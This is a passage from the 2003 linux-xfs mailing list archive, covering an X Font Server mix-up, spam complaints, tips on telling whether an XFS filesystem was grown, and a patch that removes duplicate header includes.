13:34, Josep wrote: > Hello. > > When I´m using mozilla oftenly xfs crashes and i must restart service xfs if I want start mozilla > another time,this happen me little when I read in english or spanish,but often when read in > russian or open chinese pop-ups. > > Any suggestion for check where is the problem?This happened me with Redhat9 and now with > Redhat Taroon Beta 2 exactly the same. The XFS you are referring to is the X Font Server, which has nothing to do with the XFS filesystem. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 (800) 735-0555 From owner-linux-xfs@oss.sgi.com Fri Sep 5 13:48:52 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 13:49:25 -0700 (PDT) Received: from burgers.bubbanfriends.org (IDENT:postfix@12-222-156-122.client.insightBB.com [12.222.156.122]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Kmpx4006929 for ; Fri, 5 Sep 2003 13:48:52 -0700 Received: from localhost (unknown [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id D1A283000C9C; Fri, 5 Sep 2003 15:48:56 -0500 (EST) Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id 313693000C9A; Fri, 5 Sep 2003 15:48:55 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id 2885E77A9D; Fri, 5 Sep 2003 15:48:55 -0500 (EST) Date: Fri, 5 Sep 2003 15:48:55 -0500 (EST) From: Mike Burger To: Josep Cc: linux-xfs@oss.sgi.com Subject: Re: Xfs crash In-Reply-To: <6.0.0.22.2.20030905223147.02556bc0@pop1> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT X-Virus-Scanned: by AMaViS new-20020517 X-archive-position: 350 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mburger@bubbanfriends.org Precedence: bulk X-list: linux-xfs Content-Length: 1161 Lines: 41 Service "xfs"? As in "/sbin/service xfs start"? If you have to restart xfs, specifically, that's actually the X Font System. Unfortunately, that isn't related to XFS the journaling filesystem, to which this list is developed. If you have to actually restart your computer, because the filesystem has gone goofy on you, that is a matter for here. Otherwise, you'll want to direct your attention to the Mozilla team, or to Red Hat, directly. On Fri, 5 Sep 2003, Josep wrote: > Hello. > > When I´m using mozilla oftenly xfs crashes and i must restart service xfs if I want start mozilla > another time,this happen me little when I read in english or spanish,but often when read in > russian or open chinese pop-ups. > > Any suggestion for check where is the problem?This happened me with Redhat9 and now with > Redhat Taroon Beta 2 exactly the same. > > Thanks. > > > -- Mike Burger http://www.bubbanfriends.org Visit the Dog Pound II BBS telnet://dogpound2.citadel.org or http://dogpound2.citadel.org:2000 To be notified of updates to the web site, send a message to: site-update-request@bubbanfriends.org with a message of: subscribe From owner-linux-xfs@oss.sgi.com Fri Sep 5 13:54:58 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 13:55:35 -0700 (PDT) Received: from mail.navegants.com (168.Red-213-96-90.pooles.rima-tde.net [213.96.90.168]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Ksvx4008229 for ; Fri, 5 Sep 2003 13:54:58 -0700 Received: from oemcomputer.yahoo.es (atlantia [172.26.0.4]) by mail.navegants.com (Postfix) with ESMTP id BB496A4EC4 for ; Fri, 5 Sep 2003 23:06:58 +0200 (CEST) Message-Id: <6.0.0.22.2.20030905224916.0256d5c0@pop.correo.yahoo.es> X-Sender: jbt_030@pop.correo.yahoo.es (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 6.0.0.22 Date: Fri, 05 Sep 2003 22:50:30 +0200 To: linux-xfs@oss.sgi.com From: Josep Subject: Re: Xfs crash..sorry In-Reply-To: References: <6.0.0.22.2.20030905223147.02556bc0@pop1> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h85Kswx4008242 X-archive-position: 351 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jbt_030@yahoo.es Precedence: bulk X-list: linux-xfs Content-Length: 1366 Lines: 50 Hello. Please accept my apologies,I was looking at google and see this list and I subscribed. thinking was "the other" xfs:( Josep Begin of Quote Mike Burger : >Service "xfs"? As in "/sbin/service xfs start"? > >If you have to restart xfs, specifically, that's actually the X Font >System. Unfortunately, that isn't related to XFS the journaling >filesystem, to which this list is developed. > >If you have to actually restart your computer, because the filesystem has >gone goofy on you, that is a matter for here. Otherwise, you'll want to >direct your attention to the Mozilla team, or to Red Hat, directly. > >On Fri, 5 Sep 2003, Josep wrote: > >> Hello. >> >> When I´m using mozilla oftenly xfs crashes and i must restart service xfs if I want start mozilla >> another time,this happen me little when I read in english or spanish,but often when read in >> russian or open chinese pop-ups. >> >> Any suggestion for check where is the problem?This happened me with Redhat9 and now with >> Redhat Taroon Beta 2 exactly the same. >> >> Thanks. >> >> >> > >-- >Mike Burger >http://www.bubbanfriends.org > >Visit the Dog Pound II BBS >telnet://dogpound2.citadel.org or http://dogpound2.citadel.org:2000 > >To be notified of updates to the web site, send a message to: > >site-update-request@bubbanfriends.org > >with a message of: > >subscribe From owner-linux-xfs@oss.sgi.com Fri Sep 5 18:27:24 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 18:27:59 -0700 (PDT) Received: from longlandclan.hopto.org (202-47-55-78.adsl.gil.com.au [202.47.55.78]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h861RLx4027351 for ; Fri, 5 Sep 2003 18:27:23 -0700 Received: (qmail 4321 invoked from network); 6 Sep 2003 01:24:03 -0000 Received: from unknown (HELO longlandclan.hopto.org) (192.168.0.1) by 192.168.5.1 with SMTP; 6 Sep 2003 01:24:03 -0000 Message-ID: <3F5937F2.7070008@longlandclan.hopto.org> Date: Sat, 06 Sep 2003 11:27:14 +1000 From: Stuart Longland User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030507 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Simon Matter CC: stimits@comcast.net, linux-xfs@oss.sgi.com Subject: Re: geez References: <200309051423.h85ENDx4010427@oss.sgi.com> <3F589D95.6020206@comcast.net> <47675.213.173.165.140.1062773991.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <47675.213.173.165.140.1062773991.squirrel@imap01.ch.sauter-bc.com> X-Enigmail-Version: 0.75.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 352 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: stuartl@longlandclan.hopto.org Precedence: bulk X-list: linux-xfs Content-Length: 1283 Lines: 36 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Simon Matter wrote: | Hmm, Abidjan isn't in Nigeria :) | | But I agree, sometimes I'd like to filter like this: | X-Mailer: Microsoft Outlook. | | Simon Hmmm, that would get rid of a lot, but what if someone was using Outlook for a legitimate reason, e.g. was subscribed to linux-xfs on a work account for work-related purposes, and the workplace uses Microsoft Outlook for their mail? I'd at least though like to see .pif attachments blocked (and .exe, .zip - -- we're mainly unix users, these files are useless), there's been no fewer than 20 viruses sent to this list in the last 24 hours. - -- +-------------------------------------------------------------+ | Stuart Longland stuartl at longlandclan.hopto.org | | Brisbane Mesh Node: 719 http://stuartl.cjb.net/ | | I haven't lost my mind - it's backed up on a tape somewhere | | Griffith Student No: Course: Bachelor/IT (Nathan) | +-------------------------------------------------------------+ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQE/WTfyIGJk7gLSDPcRAkR9AJ0b/bU6n6VFDqc4LzsDQOJ8zbeb8QCfcX95 pp8krnAwb0hc9PuI7E094Ls= =Lv6X -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Sat Sep 6 04:15:35 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 06 Sep 2003 04:18:13 -0700 (PDT) Received: from burgers.bubbanfriends.org (IDENT:postfix@12-222-156-122.client.insightBB.com [12.222.156.122]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h86BFVx4031544 for ; Sat, 6 Sep 2003 04:15:33 -0700 Received: from localhost (unknown [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id B51523000C9E; Sat, 6 Sep 2003 06:15:33 -0500 (EST) Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id 4A2F53000C9A; Sat, 6 Sep 2003 06:15:32 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id 39C8677A9D; Sat, 6 Sep 2003 06:15:32 -0500 (EST) Date: Sat, 6 Sep 2003 06:15:32 -0500 (EST) From: Mike Burger To: Josep Cc: linux-xfs@oss.sgi.com Subject: Re: Xfs crash..sorry In-Reply-To: <6.0.0.22.2.20030905224916.0256d5c0@pop.correo.yahoo.es> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT X-Virus-Scanned: by AMaViS new-20020517 X-archive-position: 354 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mburger@bubbanfriends.org Precedence: bulk X-list: linux-xfs Content-Length: 1844 Lines: 73 Quite alright, Josep. It certainly can happen. Best of luck. On Fri, 5 Sep 2003, Josep wrote: > Hello. > > Please accept my apologies,I was looking at google and see this list and I subscribed. > thinking was "the other" xfs:( > > Josep > > Begin of Quote Mike Burger : > >Service "xfs"? As in "/sbin/service xfs start"? > > > >If you have to restart xfs, specifically, that's actually the X Font > >System. Unfortunately, that isn't related to XFS the journaling > >filesystem, to which this list is developed. > > > >If you have to actually restart your computer, because the filesystem has > >gone goofy on you, that is a matter for here. Otherwise, you'll want to > >direct your attention to the Mozilla team, or to Red Hat, directly. > > > >On Fri, 5 Sep 2003, Josep wrote: > > > >> Hello. > >> > >> When I´m using mozilla oftenly xfs crashes and i must restart service xfs if I want start mozilla > >> another time,this happen me little when I read in english or spanish,but often when read in > >> russian or open chinese pop-ups. > >> > >> Any suggestion for check where is the problem?This happened me with Redhat9 and now with > >> Redhat Taroon Beta 2 exactly the same. > >> > >> Thanks. > >> > >> > >> > > > >-- > >Mike Burger > >http://www.bubbanfriends.org > > > >Visit the Dog Pound II BBS > >telnet://dogpound2.citadel.org or http://dogpound2.citadel.org:2000 > > > >To be notified of updates to the web site, send a message to: > > > >site-update-request@bubbanfriends.org > > > >with a message of: > > > >subscribe > > > -- Mike Burger http://www.bubbanfriends.org Visit the Dog Pound II BBS telnet://dogpound2.citadel.org or http://dogpound2.citadel.org:2000 To be notified of updates to the web site, send a message to: site-update-request@bubbanfriends.org with a message of: subscribe From owner-linux-xfs@oss.sgi.com Sun Sep 7 16:26:52 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 07 Sep 2003 16:26:59 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h87NQpx4022638 for ; Sun, 7 Sep 2003 16:26:52 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h87LSuOO032284 for ; Sun, 7 Sep 2003 14:28:57 -0700 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA13842; Mon, 8 Sep 2003 09:26:42 +1000 Received: from frodo.melbourne.sgi.com (root@frodo.melbourne.sgi.com [134.14.55.153]) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h87NQfmY132209; Mon, 8 Sep 2003 09:26:42 +1000 (EST) Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) with ESMTP id h87NOmvw000977; Mon, 8 Sep 2003 09:24:48 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) id h87NOke0000975; Mon, 8 Sep 2003 09:24:46 +1000 Date: Mon, 8 Sep 2003 09:24:46 +1000 From: Nathan Scott To: Simon Matter Cc: linux-xfs@oss.sgi.com Subject: Re: XFS shutdown with 1.3.0 Message-ID: <20030907232446.GC818@frodo> References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> <20030902071613.GB1378@frodo> <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> <20030905052032.GD1126@frodo> <2588.10.1.200.117.1062753733.squirrel@imap01.ch.sauter-bc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <2588.10.1.200.117.1062753733.squirrel@imap01.ch.sauter-bc.com> User-Agent: Mutt/1.5.3i X-archive-position: 357 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1620 Lines: 39 On Fri, Sep 05, 2003 at 11:22:13AM +0200, Simon Matter wrote: > >> [root@xxl root]# xfs_info /home > >> meta-data=/home isize=256 agcount=160, agsize=262144 > >> blks > >> = sectsz=512 > >> data = bsize=4096 blocks=41889120, > >> imaxpct=25 > >> = sunit=32 swidth=96 blks, > >> unwritten=0 > >> naming =version 2 bsize=4096 > >> log =external bsize=4096 blocks=25600, version=1 > >> = sectsz=512 sunit=0 blks > >> realtime =none extsz=393216 blocks=0, rtextents=0 > >> > ... > Unfortunately the problem looks like a timebomb to me. Is there a way to > find out whether a filesystem has ever been grown? This would help me to > find out whether the growing was the culprit here. The above filesystem has almost certainly been grown. You can tell because the agsize is fairly small & the agcount is quite large (the only case where this may not have been grown is if that agsize/agcount was explicitly requested at mkfs time, and thats unlikely I think). To contradict Eric - ;) - there is a cute trick you can use to tell: if you run "mkfs.xfs -N /dev/XXX", this will just print the geometry that mkfs _would_ have used (-N means "don't") so if that doesn't match up to the actual filesystem geometry (in particular, the agcount= field), then it has likely been grown. Both this method and Erics method can be fooled if unusual mkfs options were used when the filesystem was created, however. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Sun Sep 7 18:58:35 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 07 Sep 2003 18:59:14 -0700 (PDT) Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h881wYx4012922 for ; Sun, 7 Sep 2003 18:58:34 -0700 Received: from user-v7kahmv.dialup.mindspring.com ([207.69.70.223] helo=earthlink.net) by falcon.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 19wBIW-00021J-00 for linux-xfs@oss.sgi.com; Sun, 07 Sep 2003 18:58:32 -0700 Date: Sun, 7 Sep 2003 22:03:02 -0400 To: linux-xfs@oss.sgi.com Subject: [patch] remove extra includes in fs/xfs Message-ID: <20030908020302.GA1109@rushmore> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i From: rwhron@earthlink.net X-archive-position: 358 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rwhron@earthlink.net Precedence: bulk X-list: linux-xfs Content-Length: 5686 Lines: 159 /usr/src/linux/scripts/checkincludes.pl shows headers included more than once. It can be run by: chmod +x scripts/checkincludes.pl find fs/xfs | xargs scripts/checkincludes.pl On 2.6.0-test4-bk9 it produces: fs/xfs/xfs_fsops.c: xfs_dir.h is included more than once. fs/xfs/xfsidbg.c: xfs_log_recover.h is included more than once. fs/xfs/xfs_log_recover.c: xfs_error.h is included more than once. fs/xfs/xfs_trans_ail.c: xfs_log.h is included more than once. fs/xfs/xfs_vfsops.c: xfs_dmapi.h is included more than once. fs/xfs/xfs_vfsops.c: xfs_alloc.h is included more than once. fs/xfs/xfs_iocore.c: xfs_dmapi.h is included more than once. fs/xfs/xfs_bmap.c: xfs_dmapi.h is included more than once. fs/xfs/xfs_dir2.c: xfs_dir2_sf.h is included more than once. fs/xfs/xfs_vnodeops.c: xfs_dmapi.h is included more than once. fs/xfs/xfs_rename.c: xfs_dmapi.h is included more than once. fs/xfs/xfs_rw.c: xfs_attr.h is included more than once. Patch below tested against 2.6.0-test4-bk9. diff -u linux/fs/xfs/xfs_bmap.c linux-2.6.0-test4-bk9/fs/xfs/xfs_bmap.c --- linux/fs/xfs/xfs_bmap.c 2003-08-22 21:19:56.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfs_bmap.c 2003-09-07 21:44:49.000000000 -0400 @@ -52,7 +52,6 @@ #include "xfs_dir_sf.h" #include "xfs_dir2_sf.h" #include "xfs_dinode.h" -#include "xfs_dmapi.h" #include "xfs_inode_item.h" #include "xfs_inode.h" #include "xfs_itable.h" diff -u linux/fs/xfs/xfs_dir2.c linux-2.6.0-test4-bk9/fs/xfs/xfs_dir2.c --- linux/fs/xfs/xfs_dir2.c 2003-05-06 21:42:30.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfs_dir2.c 2003-09-07 21:45:09.000000000 -0400 @@ -63,7 +63,6 @@ #include "xfs_dir2_leaf.h" #include "xfs_dir2_block.h" #include "xfs_dir2_node.h" -#include "xfs_dir2_sf.h" #include "xfs_dir2_trace.h" #include "xfs_error.h" #include "xfs_bit.h" diff -u linux/fs/xfs/xfs_fsops.c linux-2.6.0-test4-bk9/fs/xfs/xfs_fsops.c --- linux/fs/xfs/xfs_fsops.c 2003-05-06 21:42:30.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfs_fsops.c 2003-09-07 21:41:37.000000000 -0400 @@ -53,7 +53,6 @@ #include "xfs_rw.h" #include "xfs_trans_space.h" #include "xfs_rtalloc.h" -#include "xfs_dir.h" #include "xfs_dir2.h" #include "xfs_attr_sf.h" #include "xfs_dir_sf.h" diff -u linux/fs/xfs/xfs_iocore.c linux-2.6.0-test4-bk9/fs/xfs/xfs_iocore.c --- linux/fs/xfs/xfs_iocore.c 2003-07-02 18:42:34.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfs_iocore.c 2003-09-07 21:44:36.000000000 -0400 @@ -61,7 +61,6 @@ #include "xfs_rw.h" #include "xfs_quota.h" #include "xfs_trans_space.h" -#include "xfs_dmapi.h" STATIC xfs_fsize_t diff -u linux/fs/xfs/xfs_log_recover.c linux-2.6.0-test4-bk9/fs/xfs/xfs_log_recover.c --- linux/fs/xfs/xfs_log_recover.c 2003-08-22 21:19:56.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfs_log_recover.c 2003-09-07 21:42:34.000000000 -0400 @@ -54,7 +54,6 @@ #include "xfs_inode.h" #include "xfs_ialloc_btree.h" #include "xfs_ialloc.h" -#include "xfs_error.h" #include "xfs_log_priv.h" #include "xfs_buf_item.h" #include "xfs_alloc_btree.h" diff -u linux/fs/xfs/xfs_rename.c linux-2.6.0-test4-bk9/fs/xfs/xfs_rename.c --- linux/fs/xfs/xfs_rename.c 2003-05-06 21:42:30.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfs_rename.c 2003-09-07 21:45:45.000000000 -0400 @@ -56,7 +56,6 @@ #include "xfs_trans_space.h" #include "xfs_da_btree.h" #include "xfs_dir_leaf.h" -#include "xfs_dmapi.h" /* diff -u linux/fs/xfs/xfs_rw.c linux-2.6.0-test4-bk9/fs/xfs/xfs_rw.c --- linux/fs/xfs/xfs_rw.c 2003-05-06 21:42:30.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfs_rw.c 2003-09-07 21:45:57.000000000 -0400 @@ -59,7 +59,6 @@ #include "xfs_bmap.h" #include "xfs_acl.h" #include "xfs_mac.h" -#include "xfs_attr.h" #include "xfs_error.h" #include "xfs_buf_item.h" #include "xfs_rw.h" diff -u linux/fs/xfs/xfs_trans_ail.c linux-2.6.0-test4-bk9/fs/xfs/xfs_trans_ail.c --- linux/fs/xfs/xfs_trans_ail.c 2003-05-06 21:42:30.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfs_trans_ail.c 2003-09-07 21:43:46.000000000 -0400 @@ -40,7 +40,6 @@ #include "xfs_dir.h" #include "xfs_dmapi.h" #include "xfs_mount.h" -#include "xfs_log.h" #include "xfs_trans_priv.h" #include "xfs_error.h" diff -u linux/fs/xfs/xfs_vfsops.c linux-2.6.0-test4-bk9/fs/xfs/xfs_vfsops.c --- linux/fs/xfs/xfs_vfsops.c 2003-08-22 21:19:56.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfs_vfsops.c 2003-09-07 21:44:20.000000000 -0400 @@ -49,7 +49,6 @@ #include "xfs_btree.h" #include "xfs_alloc.h" #include "xfs_ialloc.h" -#include "xfs_alloc.h" #include "xfs_attr_sf.h" #include "xfs_dir_sf.h" #include "xfs_dir2_sf.h" @@ -64,7 +63,6 @@ #include "xfs_buf_item.h" #include "xfs_extfree_item.h" #include "xfs_quota.h" -#include "xfs_dmapi.h" #include "xfs_dir2_trace.h" #include "xfs_acl.h" #include "xfs_attr.h" diff -u linux/fs/xfs/xfs_vnodeops.c linux-2.6.0-test4-bk9/fs/xfs/xfs_vnodeops.c --- linux/fs/xfs/xfs_vnodeops.c 2003-08-22 21:19:56.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfs_vnodeops.c 2003-09-07 21:45:32.000000000 -0400 @@ -66,7 +66,6 @@ #include "xfs_utils.h" #include "xfs_trans_space.h" #include "xfs_dir_leaf.h" -#include "xfs_dmapi.h" #include "xfs_mac.h" #include "xfs_log_priv.h" diff -u linux/fs/xfs/xfsidbg.c linux-2.6.0-test4-bk9/fs/xfs/xfsidbg.c --- linux/fs/xfs/xfsidbg.c 2003-09-07 20:22:27.000000000 -0400 +++ linux-2.6.0-test4-bk9/fs/xfs/xfsidbg.c 2003-09-07 21:42:00.000000000 -0400 @@ -78,7 +78,6 @@ #include "xfs_rw.h" #include "xfs_bit.h" #include "xfs_quota.h" -#include "xfs_log_recover.h" #include "quota/xfs_qm.h" MODULE_AUTHOR("Silicon Graphics, Inc."); -- Randy Hron http://home.earthlink.net/~rwhron/kernel/bigbox.html From owner-linux-xfs@oss.sgi.com Sun Sep 7 19:22:06 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 07 Sep 2003 19:22:46 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h882M5x4021105 for ; Sun, 7 Sep 2003 19:22:06 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h882M0q0003433 for ; Sun, 7 Sep 2003 19:22:00 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h882Lvcc11563017; Sun, 7 Sep 2003 21:21:57 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h882LvgV874947; Sun, 7 Sep 2003 21:21:57 -0500 (CDT) Date: Sun, 7 Sep 2003 21:21:56 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Nathan Scott cc: Simon Matter , Subject: Re: XFS shutdown with 1.3.0 In-Reply-To: <20030907232446.GC818@frodo> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 359 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 629 Lines: 15 On Mon, 8 Sep 2003, Nathan Scott wrote: > To contradict Eric - ;) - there is a cute trick you can use to > tell: if you run "mkfs.xfs -N /dev/XXX", this will just print > the geometry that mkfs _would_ have used (-N means "don't") so > if that doesn't match up to the actual filesystem geometry (in > particular, the agcount= field), then it has likely been grown. To play devil's advocate for Nathan - ;) - if the filesystem was sufficiently large in the first place (on the order of 10s of gigs, I think) then the AG size has already maxed out, and subsequent xfs_growfs's won't have the "many small AGs" signature. -Eric From owner-linux-xfs@oss.sgi.com Sun Sep 7 20:48:51 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 07 Sep 2003 20:49:25 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h883mox4006458 for ; Sun, 7 Sep 2003 20:48:51 -0700 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h881ovOO022248 for ; Sun, 7 Sep 2003 18:50:57 -0700 Received: from stout.americas.sgi.com (localhost [127.0.0.1]) by stout.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h883mi5j017037; Sun, 7 Sep 2003 22:48:45 -0500 Received: (from sandeen@localhost) by stout.americas.sgi.com (8.12.8/8.12.8/Submit) id h883miB8017035; Sun, 7 Sep 2003 22:48:44 -0500 Date: Sun, 7 Sep 2003 22:48:44 -0500 From: Eric Sandeen Message-Id: <200309080348.h883miB8017035@stout.americas.sgi.com> Subject: TAKE 900168 - Remove doubly-included header files X-archive-position: 360 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@stout.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 730 Lines: 24 remove doubly-included header files Date: Sun Sep 7 20:47:34 PDT 2003 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:157933a linux/fs/xfs/xfsidbg.c - 1.234 linux/fs/xfs/xfs_rw.c - 1.382 linux/fs/xfs/xfs_trans_ail.c - 1.72 linux/fs/xfs/xfs_vnodeops.c - 1.604 linux/fs/xfs/xfs_iocore.c - 1.45 linux/fs/xfs/xfs_log_recover.c - 1.278 linux/fs/xfs/xfs_vfsops.c - 1.430 linux/fs/xfs/xfs_fsops.c - 1.94 linux/fs/xfs/xfs_bmap.c - 1.310 linux/fs/xfs/xfs_rename.c - 1.54 linux/fs/xfs/xfs_dir2.c - 1.47 linux/fs/xfs/dmapi/dmapi_sysent.c - 1.24 linux/fs/xfs/linux/xfs_globals.c - 1.55 From owner-linux-xfs@oss.sgi.com Sun Sep 7 21:11:33 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 07 Sep 2003 21:13:57 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h884BVx4010091 for ; Sun, 7 Sep 2003 21:11:32 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h882DcOO024584 for ; Sun, 7 Sep 2003 19:13:38 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h884BPcc11543517; Sun, 7 Sep 2003 23:11:25 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h884BPgV877166; Sun, 7 Sep 2003 23:11:25 -0500 (CDT) Date: Sun, 7 Sep 2003 23:11:25 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: rwhron@earthlink.net cc: linux-xfs@oss.sgi.com Subject: Re: [patch] remove extra includes in fs/xfs In-Reply-To: <20030908020302.GA1109@rushmore> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 361 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 227 Lines: 9 Thanks, I put this in the 2.4 tree, I'll get it into 2.6 shortly... -Eric On Sun, 7 Sep 2003 rwhron@earthlink.net wrote: > /usr/src/linux/scripts/checkincludes.pl shows headers > included more than once. It can be run by: From owner-linux-xfs@oss.sgi.com Sun Sep 7 22:48:37 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 07 Sep 2003 22:49:16 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with 